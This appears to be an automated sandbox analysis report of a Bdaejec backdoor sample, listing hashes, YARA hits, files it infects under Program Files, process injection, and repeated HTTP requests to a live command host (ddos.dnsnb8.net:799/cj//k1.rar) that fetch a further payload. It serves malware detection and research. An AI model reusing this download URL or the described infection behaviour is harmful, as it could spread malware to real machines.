bdaejec | 430831eef07d5f484ecd42bd57b4bafc6e90c7ca9ebac5570cecc3edb7e3b614

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07/01/2025, 02:27 UTC

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General

Target

2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe
Size

215KB
MD5

95983cc5bbbfb2a10a812498976b3f60
SHA1

9b7bb8cd7db49f4502e20a97adc04d878353a5d9
SHA256

430831eef07d5f484ecd42bd57b4bafc6e90c7ca9ebac5570cecc3edb7e3b614
SHA512

767e8255dca633ea88bc8ba7720d5bc0491f04d0bed96b26f29c5c1d99a933eb51ca60516db579a45d4c193c6271adcd7510f7fcea54f2e7de52beccfc001525
SSDEEP

3072:J666SmGgfYMSLpt690G4EHI8FeqvrvuSUdyfQHoAb3MVD+Q3KLGCH:J2SSI60GhHvjv1Q83Ky

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 1 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/2712-14-0x00000000010A0000-0x00000000010A9000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00090000000120f6-2.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
2712	pujNAG.exe

Loads dropped DLL 2 IoCs

pid	Process
2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe
2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32Info.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe	pujNAG.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jinfo.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\pack200.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jp2launcher.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\servertool.exe	pujNAG.exe
File opened for modification	C:\Program Files\Windows Defender\MpCmdRun.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\kinit.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\kinit.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORE.EXE	pujNAG.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\ssvagent.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\tnameserv.exe	pujNAG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\pingsender.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\misc.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javap.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE	pujNAG.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jrunscript.exe	pujNAG.exe
File opened for modification	C:\Program Files\Windows Defender\MSASCui.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORDB.EXE	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CLVIEW.EXE	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.EXE	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jvisualvm.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\keytool.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jp2launcher.exe	pujNAG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice_installer.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Install\{FC37790F-E395-416A-A1A1-53BC987E89B4}\chrome_installer.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jabswitch.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmc.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\orbd.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\servertool.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\java-rmi.exe	pujNAG.exe
File opened for modification	C:\Program Files\DVD Maker\DVDMaker.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jar.exe	pujNAG.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\shvlzm.exe	pujNAG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\SELFCERT.EXE	pujNAG.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\ONELEV.EXE	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSACCESS.EXE	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\serialver.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\java.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\INFOPATH.EXE	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wab.exe	pujNAG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSQRY32.EXE	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmiregistry.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\ktab.exe	pujNAG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jabswitch.exe	pujNAG.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pujNAG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2824 wrote to memory of 2712	2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe	31
PID 2824 wrote to memory of 2712	2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe	31
PID 2824 wrote to memory of 2712	2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe	31
PID 2824 wrote to memory of 2712	2824	2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe	31
PID 2712 wrote to memory of 2904	2712	pujNAG.exe	35
PID 2712 wrote to memory of 2904	2712	pujNAG.exe	35
PID 2712 wrote to memory of 2904	2712	pujNAG.exe	35
PID 2712 wrote to memory of 2904	2712	pujNAG.exe	35

C:\Users\Admin\AppData\Local\Temp\2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-07_95983cc5bbbfb2a10a812498976b3f60_bkransomware_wapomi.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2824
- C:\Users\Admin\AppData\Local\Temp\pujNAG.exe
  C:\Users\Admin\AppData\Local\Temp\pujNAG.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\01b924fa.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2904

Network

DNS

ddos.dnsnb8.net

pujNAG.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

pujNAG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

pujNAG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

pujNAG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

pujNAG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

pujNAG.exe

834 B
92 B
4
2

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

pujNAG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

pujNAG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

pujNAG.exe

3.3kB
312 B
16
6

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

ddos.dnsnb8.net

pujNAG.exe

144 B
3
44.221.84.105:799

ddos.dnsnb8.net

pujNAG.exe

152 B
3

8.8.8.8:53

ddos.dnsnb8.net

dns

pujNAG.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\01b924fa.bat

Filesize
187B

MD5
7039cb94ff33b8849c10ef28dcbe27d8

SHA1
07df7e288188c25539b6f33ea96e99afa202bcc6

SHA256
853b4b701a563ca25020b08800bb016860427c562d0cf2b64c96e7d1b7db4999

SHA512
b3de97177c8f3a8ab20dc2ed83c778208091ef3c453c4b1dfd12b3256f091f8757e55843b7c8f110ea99bb1d91dc17d84dbb26f86726d5f0e29253e4f45296b8

Download Submit
\Users\Admin\AppData\Local\Temp\pujNAG.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/2712-10-0x00000000010A0000-0x00000000010A9000-memory.dmp

Filesize
36KB

Download
memory/2712-14-0x00000000010A0000-0x00000000010A9000-memory.dmp

Filesize
36KB

Download
memory/2824-0-0x0000000000140000-0x000000000017C000-memory.dmp

Filesize
240KB

Download
memory/2824-9-0x0000000000140000-0x000000000017C000-memory.dmp

Filesize
240KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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